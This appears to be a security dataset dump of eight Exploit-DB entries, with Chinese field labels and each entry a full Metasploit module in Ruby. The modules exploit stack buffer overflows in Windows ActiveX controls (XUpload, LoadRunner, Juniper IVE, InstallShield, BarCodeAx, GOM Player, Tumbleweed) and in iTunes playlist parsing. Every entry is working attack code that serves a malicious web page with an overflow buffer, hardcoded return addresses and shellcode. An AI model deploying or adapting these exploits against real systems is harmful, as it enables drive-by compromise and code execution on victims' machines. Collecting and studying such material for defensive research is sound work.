QLWD/code_shield huggingface dataset:
标题: Persits XUpload - ActiveX AddFile Buffer Overflow (Metasploit) EDB-ID: 16576 CVE: 2008-0492 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: hp_loadrunner_addfile.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Persits XUpload ActiveX AddFile Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Persits Software Inc's
    XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
    By passing an overly long string to the AddFile method, an attacker may be
    able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0492'],
     [ 'OSVDB', '40762'],
     [ 'BID', '27456' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/4987' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
      {
       'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
      }
     ],
    ],
   'DisclosureDate' => 'Jan 25 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit = rand_text_alpha(738)
  sploit << generate_seh_payload(target.ret)
  sploit << p.encoded
  sploit << rand_text(1000) * 25
  sploit = Rex::Text.to_unescape(sploit)

  # Build out the message
  content = %Q|<html>
<script language='javascript'>
function check()
{
#{strname} = new String(unescape("#{sploit}"));
#{vname}.AddFile(#{strname});
}
</script>
<body onload='javascript:check()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
</body>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16576
标题: HP LoadRunner 9.0 - ActiveX AddFolder Buffer Overflow (Metasploit) EDB-ID: 16588 CVE: 2007-6530 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: hp_loadrunner_addfolder.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Persits Software Inc's
    XUpload ActiveX control(version 2.1.0.1) thats included in HP LoadRunner 9.0.
    By passing an overly long string to the AddFolder method, an attacker may be
    able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-6530'],
     [ 'OSVDB', '39901'],
     [ 'BID', '27025' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 Pro English / IE6SP0-SP2',     { 'Offset' => 1388, 'Ret' => 0x323ad95f } ], # PocoNet.dll
    ],
   'DisclosureDate' => 'Dec 25 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_alpha(target['Offset']) + [target.ret].pack('V')
  sploit << p.encoded + rand_text_alpha(1024 - p.encoded.length)

  # Build out the message
  content = %Q|<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.AddFolder(#{strname});
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16588
标题: Juniper SSL-VPN IVE - 'JuniperSetupDLL.dll' ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16568 CVE: 2006-2086 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: juniper_sslvpn_ive_setupdll.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
    library which is called by the JuniperSetup.ocx ActiveX control,
    as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
    overly long string to the ProductName object parameter, the stack
    is overwritten.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'patrick',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-2086' ],
     [ 'OSVDB', '25001' ],
     [ 'BID', '17712' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'  =>
    {
     'Space'  => 1024,
     'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
     'StackAdjustment' => -3500,
    },
   'Platform'  => 'win',
   'Targets'  =>
    [
     [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
     [ 'Debugging',   { 'Ret' => 0x44434241 } ],
    ],
   'DisclosureDate' => 'Apr 26 2006',
   'DefaultTarget' => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize
  vname = rand_text_alpha(rand(100) + 1)

  # Build the exploit buffer
  sploit = rand_text_alpha(2200)
  sploit[220, 4] = [target['Ret']].pack('V')
  sploit[240, payload.encoded.length] = payload.encoded

  # Build out the message
  content = %Q|
   <html>
   <object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
   <PARAM NAME="ProductName" VALUE="#{sploit}">
   </object>
   <script language="javascript">
   #{vname}.startSession();
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16568
标题: Apple iTunes 4.7 - Playlist Buffer Overflow (Metasploit) EDB-ID: 16562 CVE: 2005-0043 类型: LOCAL 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: apple_itunes_playlist.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple ITunes 4.7 Playlist Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Apple ITunes 4.7
    build 4.7.0.42. By creating a URL link to a malicious PLS
    file, a remote attacker could overflow a buffer and execute
    arbitrary code. When using this module, be sure to set the
    URIPATH with an extension of '.pls'.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0043' ],
     [ 'OSVDB', '12833' ],
     [ 'BID', '12238' ],
    ],

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },

   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English SP4', { 'Ret' => 0x75033083 } ],
     [ 'Windows XP Pro English SP2',  { 'Ret' => 0x77dc2063 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 11 2005',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  cruft   = rand(9).to_s

  sploit =  make_nops(2545) + payload.encoded + [target.ret].pack('V')

  # Build the HTML content
  content =  "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n"
  content << "File#{cruft}=http://#{sploit}"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16562
标题: Macrovision Installshield Update Service - Remote Buffer Overflow (Metasploit) EDB-ID: 16573 CVE: 2007-5660 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: macrovision_downloadandexecute.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Macrovision InstallShield Update Service Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Macrovision InstallShield Update
    Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
    the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5660' ],
     [ 'OSVDB', '38347' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English All',       { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],
    ],
   'DisclosureDate' => 'Oct 31 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_alpha(target['Offset'])
  sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)

  #[id(0x00000007), helpstring("method DownloadAndExecute")]
  #void DownloadAndExecute(
  #            BSTR dispname,
  #            BSTR ProductCode,
  #            long MsgID,
  #            BSTR url,
  #            BSTR cmdline);

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
   <script language='javascript'>
   #{strname} = new String('#{sploit}')
   #{vname}.DownloadAndExecute("", #{strname}, 0, "", "");
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16573
标题: RKD Software BarCode ActiveX Control 'BarCodeAx.dll' 4.9 - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16565 CVE: 2007-3435 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: barcode_ax49.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in RKD Software Barcode Application
    ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
    method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'URL', 'http://www.milw0rm.com/exploits/4094' ],
     [ 'OSVDB', '37482' ],
     [ 'BID', '24596' ],
     [ 'CVE', '2007-3435' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
    ],
   'DisclosureDate' => 'Jun 22 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)

  buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded

  # Build out the message
  content = %Q|<html>
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
<script language='javascript'>
#{vname}.BeginPrint("#{buff}");
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16565
标题: GOM Player - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16572 CVE: 2007-5779 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: gom_openurl.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GOM Player ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in GOM Player 2.1.6.3499.
    By sending an overly long string to the "OpenUrl()" method located
    in the GomWeb3.dll Control, an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5779'],
     [ 'OSVDB', '38282'],
     [ 'URL', 'http://secunia.com/advisories/27418/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 10/29/07
    ],
   'DisclosureDate' => 'Oct 27 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_english(506) +  [target.ret].pack('V')
  sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.OpenURL(#{strname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16572
标题: Tumbleweed SecureTransport FileTransfer - 'vcst_eu.dll' ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16563 CVE: 2008-1724 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: tumbleweed_filetransfer.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the vcst_eu.dll
    FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
    SecureTransport suite. By sending an overly long string to the
    TransferFile() 'remotefile' function, an attacker may be able
    to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'patrick',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2008-1724' ],
     [ 'OSVDB', '44252' ],
     [ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'  =>
    {
     'Space'  => 1000,
     'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
    },
   'Platform'  => 'win',
   'Targets'  =>
    [
     # Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
     [ 'Universal vcst_eu.dll',  { 'Ret' => 0x1001ee75 } ],
     [ 'Windows 2000 Pro English',    { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    ],
   'DisclosureDate' => 'Apr 07 2008',
   'DefaultTarget' => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname  = rand_text_alpha(rand(100) + 1)
  vurl   = rand_text_alpha(rand(100) + 1)
  vhostName = rand_text_alpha(rand(100) + 1)
  vlocalFile  = rand_text_alpha(rand(100) + 1)
  vMD5   = rand_text_alpha(rand(100) + 1)

  # Build the exploit buffer
  filler = rand_text_alpha(4620)
  seh = generate_seh_payload(target.ret)
  sploit = filler + seh

  # Build out the message
  content = %Q|
   <html>
   <object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
   <script language="javascript">
   #{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16563